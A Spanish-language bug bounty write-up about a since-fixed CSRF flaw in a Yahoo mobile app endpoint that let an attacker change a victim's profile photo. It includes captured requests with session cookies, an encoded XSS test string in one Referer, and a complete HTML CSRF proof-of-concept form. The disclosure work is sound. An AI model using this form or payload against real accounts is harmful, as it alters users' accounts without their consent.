Vulnerabilidad CSRF Permitía modificar la foto de Perfil de una Cuenta de Usuario de Yahoo

Yahoo_Logo_Purple

Desde hace algún tiempo, he comenzado a participar en los programas Bug Bounty. Si bien es cierto, en estos programas participa gente de todo el mundo, es interesante observar la cantidad de bugs que son poco comunes y que lógicamente, ninguna herramienta automatizada podría detectar, de esta manera se puede aprender mucho sobre nuevos ataques, o mejorar habilidades sobre  bugs ya conocidos.

En marzo de este año, detecté un fallo en Yahoo, el cual permitía realizar un ataque CSRF contra una víctima y de esta manera hacer que ésta, modifique su foto de perfil sin que se diera cuenta. El impacto radica principalmente en  la integridad de la cuenta de un usuario de Yahoo, ya que de forma transparente se podía ejecutar una acción dentro de la cuenta de un usuario.

¿Como he detectado este fallo?

Detectar un CSRF en Yahoo es complejo, ya que en todas sus acciones (Crear, Eliminar, Editar cualquier tipo de información) siempre se utiliza una variable denominada crumb. Esta variable funciona como un Token único, por esta razón, aunque un atacante obtuviese dicho token, sería imposible replicar la vulnerabilidad.

Esta vulnerabilidad la he detectado mediante una de las aplicaciones de Yahoo en iOS.

yahoo_app

En esta aplicación móvil, existe la opción de subir una foto de perfil. Lo interesante, es que Yahoo no utiliza la misma estructura que en su sitio web para realizar este proceso. Un ejemplo del request  web para intentar modificar la imagen de perfil es el siguiente:

POST /progrss/v1/user/VRXO5UWWHVAIMTR6CGKJZXWEYY/profile/imagepool?defaultSel=1&format=json HTTP/1.1
Host: ws.progrss.yahoo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
Referer: https://login.yahoo.com/account/personalinfo?.intl=us&.lang=en-US&.done=https://shopping.yahoo.com/search%3ffr=yshoppingheader_test2%26type=2button%26p=%252526%25252334%25253B%252526%25252362%25253B%252526%2526%252334%253B%2526%252362526%252362%253B%25252360%25253Bimg%25252fsrc%25253D1%252520onerror%25253Dalert%2525281%252529%252526%25252362%25253B&.src=shp
Content-Length: 216642
Content-Type: multipart/form-data; boundary=---------------------------212521707114969
origin: https://login.yahoo.com
Cookie: my_cookie; ucs=fs=1
DNT: 1
Connection: close

-----------------------------212521707114969
Content-Disposition: form-data; name="image_file"

data:image/png;base64,s3n77A69pGzL77jvNmX/E0NP36Jkhv7xu+CnK7s+goGsKWa0TVG8gMyEZLePI7ZhEYfc0SqiGUcXVjjBiZ9XgYxY4GDelop/oH9x+dlnfDMrvc0RUJr9RQgGkoJNJiE4gm4LG3cYHC8bmE6r6EUu1jGsl3Ygq6qRDZXREnRVCiZUaUdiJy9ktOJ9Wj9PJxA05GlOCg5EF7A6L7Wdvw/pEDKtVMCPomlt9SMTbwg2yps6QMnAkGQsNG/JCMH2h/Gr2JucspDHlPL+gTH4KcJlgmbwpBJTMuSzPdRCi2QhhtQ0QodYnIziywqPmZohq2EBspaGGOia1wxz3hGEcVTSvUT1IPl/34CnqHjwlXzv0hFizg3OoHJjl7NnonkZ+1xS9SMaQ1TKGzJaxhU4LjfHeqR/GrZoB0qJU9OEa3a0RktuKi1lNOE+1Cp+ECq5AFhlLdwhIYncwrna9DP1d59gWRJ2ZMl1LZkKkjTl5BBJi2k4CN1pb2R0WYlrkJif
-----------------------------212521707114969
Content-Disposition: form-data; name="image_post_body"

{"crumb":"4fyhbdqo9j7","cropx":0,"cropy":0,"cropw":267,"croph":267,"base64Encoded":true,"format":"image/png"}
-----------------------------212521707114969--

Como es posible observar, al cambiar la foto de perfil a través del sitio web de Yahoo, aparece la variable crumb, la cual funciona como Token, por ende, este recurso no es vulnerable a este ataque. Sin embargo, en la aplicación móvil el recurso utilizaba una consulta SQL para subir una imagen a la cuenta de Yahoo. El recurso era el siguiente:

POST /v1/public/yql/ HTTP/1.1
Host: ec.yql.yahoo.com
Content-Type: application/x-www-form-urlencoded
Accept: */*
X-Yahoo-Trace-Data: %7B%22serverId%22%20%3A%20%22ios_app%22%20,%20%22deviceOS%22%20%3A%20%22ios%22%20,%20%22deviceType%22%20%3A%20%22Mobile%22%7D 
Connection: close 
Cookie: AO=u=1; B=f5kvta5ud0g9q&b=4&d=piRM7jRpYFT8zrt7qQNsogjlcis-&s=p9&i=8wYQc31GXTg9_NAMJqk4; PH=l=es-CL&i=cl&fn=DblAb5Rwg2iFxv9OjWVt3K0N; F=a=12fr8lMMvSDeHlwdPJkiLcpGNiCoV7Uojj_so5Wseg_diXTMiQzCB9K8C3gwymwgDXY3Eis-&b=kM75&d=tqBs9rQ9vMX8qL1V9p.OqGwYfM6o66bZ7gIKA4UzvQ--; SSL=v=1&s=bR8MmRvREsFXT_lWFdqOfdjnXW9Vz_vXHYwMWF0DHGREz6RO9CiXTU_DQAmmK_rsZXUGjrJJ3z00jPGI0CmlSw--&kv=0; T=z=Hk.zYBHqT0YBziJ9dPEhMO3MzUxNwY2NjJOMTAxTjZOMjBPTz&a=QAE&sk=DAAFUFuQXEsLLo&ks=EAAYh6XX7AJUSr3.Pg1wbpZcA--~F&kt=EAA4jDSwdMvso_gypmSr3DYYw--~H&ku=FAAMEUCIEecEz9MsXQF1AoMU.lMQ6zCwHLfbYU1yftrMqo2NUnjAiEAipzYuCYO4OZDLm_5PlhFjwLWnXMNvfnXBMaVo.ppiA0-&d=c2wBTkRJMk1BRXhNVFU1TmpjMk9URTVOVGM0T0RFd01UZy0BYQFRQUUBZwE0REFLWlpLSFBWUFQyWURNV1I3UlBVWUdTNAFhYwFBRmlrbTVGT050MEpXQmctAWFsAXJibGFja2JsYWNrAXRpcAFKdmQ2cUMBc2MBeWVjc2hvcHBpbmdpb3MBZnMBM1V4TWx5aFl5OGdPAXp6AUhrLnpZQmdXQQ--&af=QkNBQkJBJnRzPTE0OTAwMjA2MTUmcHM9dldYbUhpUnRBeVJUSFJVYmplNDA1dy0t; Y=v=1&n=4h7fg42c8s9qf&l=u6hcuwdgfl784fevwnvd2ggf52jhmo7ddf85sa0o/o&p=m2kvvcl012000000&iz=&r=11o&lg=es-CL&intl=cl&np=1 
User-Agent: ECShoppingApp/1.4.2 (iPhone; iOS 10.2.1; Scale/2.00)  
Accept-Language: en-CL;q=1, es-CL;q=0.9 
Authorization: OAuth oauth_signature="wIl6edGmwh%2B2z8MkY%2Bluol7VwjA%3D" 
Content-Length: 75495

crossProduct=optimized&format=json&q=insert%20into%20eccommon.member.profile_image%20%28%20data%2C%20imageBase64%20%29%20values%20%28%20%27%7B%22cropx%22%3A0%2C%22cropw%22%3A192%2C%22croph%22%3A192%2C%22cropy%22%3A0%7D%27%2C%20%27/9j/4AAQSkZJRgABAQAASABIAAD/4QBYRXhpZgAATU0AKgAAAAgAAgESAAMAAAABAAEAAIdpAAQAAAABAAAAJgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAAwKADAAQAAAABAAAAwAAAAAD/7QA4UGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAAA4QklNBCUAAAAAABDUHYzZjwCyBOmACZjs%2BEJ%2B/8AAEQgAwADAAwERAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5%2Bv/EAB8BAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCAkKC//EALURAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5%2Bjp6vLz9PX29/j5%2Bv/bAEMAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAf/

Este recurso no posee la variable crumb y ninguna variable que funcione como token. De esta manera, he generado el siguiente vector de ataque:

<html>
 <body>
 <form action="https://ec.yql.yahoo.com/v1/public/yql/" method="POST">
 <input type="hidden" name="crossProduct" value="optimized" />
 <input type="hidden" name="format" value="json" />
 <input type="hidden" name="q" value="insert into eccommon.member.profile_image ( data, imageBase64 ) values ( &apos;{
 &quot;cropx&quot; : 0,
 &quot;cropw&quot; : 192,
 &quot;croph&quot; : 192,
 &quot;cropy&quot; : 0
}&apos;, &apos;/9j/4AAQSkZJRgABAQAASABIAAD/4QBYRXhpZgAATU0AKgAAAAgAAgESAAMAAAABAAEAAIdpAAQAAAABAAAAJgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAAwKADAAQAAAABAAAAwAAAAAD/7QA4UGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAAA4QklNBCUAAAAAABDUHYzZjwCyBOmACZjs+EJ+/8AAEQgAwADAAwERAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5+v/EAB8BAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCAkKC//EALURAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5+jp6vLz9PX29/j5+v/bAEMAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAf/bAEMBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAf/dAAQAGP/aAAwDAQACEQMRAD8A/wA/+gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAP//Q/wA/+gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAP//R/wA/+gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAP//S/wA/+gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAP//T/wA/+gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAP//U/gF2L6frW3JHt+JtyR7fiGxfT9aOSPb8Q5I9vxDYvp+tHJHt+Icke34hsX0/Wjkj2/EOSPb8Q2L6frRyR7fiHJHt+IbF9P1o5I9vxDkj2/ENi+n60cke34hyR7fiGxfT9aOSPb8Q5I9vxDYvp+tHJHt+Icke34hsX0/Wjkj2/EOSPb8Q2L6frRyR7fiHJHt+IbF9P1o5I9vxDkj2/ENi+n60cke34hyR7fiGxfT9aOSPb8Q5I9vxDYvp+tHJHt+Icke34hsX0/Wjkj2/EOSPb8Q2L6frRyR7fiHJHt+IbF9P1o5I9vxDkj2/ENi+n60cke34hyR7fiGxfT9aOSPb8Q5I9vxDYvp&KACgD//2Q==&apos; )" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>

Prueba de Concepto

El usuario víctima posee su cuenta con la siguiente estructura:

victim_account

El atacante, genera un vector de ataque sofisticado (con la imagen que él desee) el cual sube a su servidor web, lo envía a la víctima y el resultado es el siguiente:

pwned

La víctima no se daría cuenta de esto hasta que revise la información personal de su cuenta. Este reporte fue válido para Yahoo y elegible para Recompensa.

Timeline

  • Reporte Inicial – 20 de Marzo
  • Reporte enviado a revisión – 20 de Marzo
  • Vulnerabilidad Solucionada – 17 de Abril
  • Recompensa Recibida – 18 de Abril

Un comentario en “Vulnerabilidad CSRF Permitía modificar la foto de Perfil de una Cuenta de Usuario de Yahoo

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s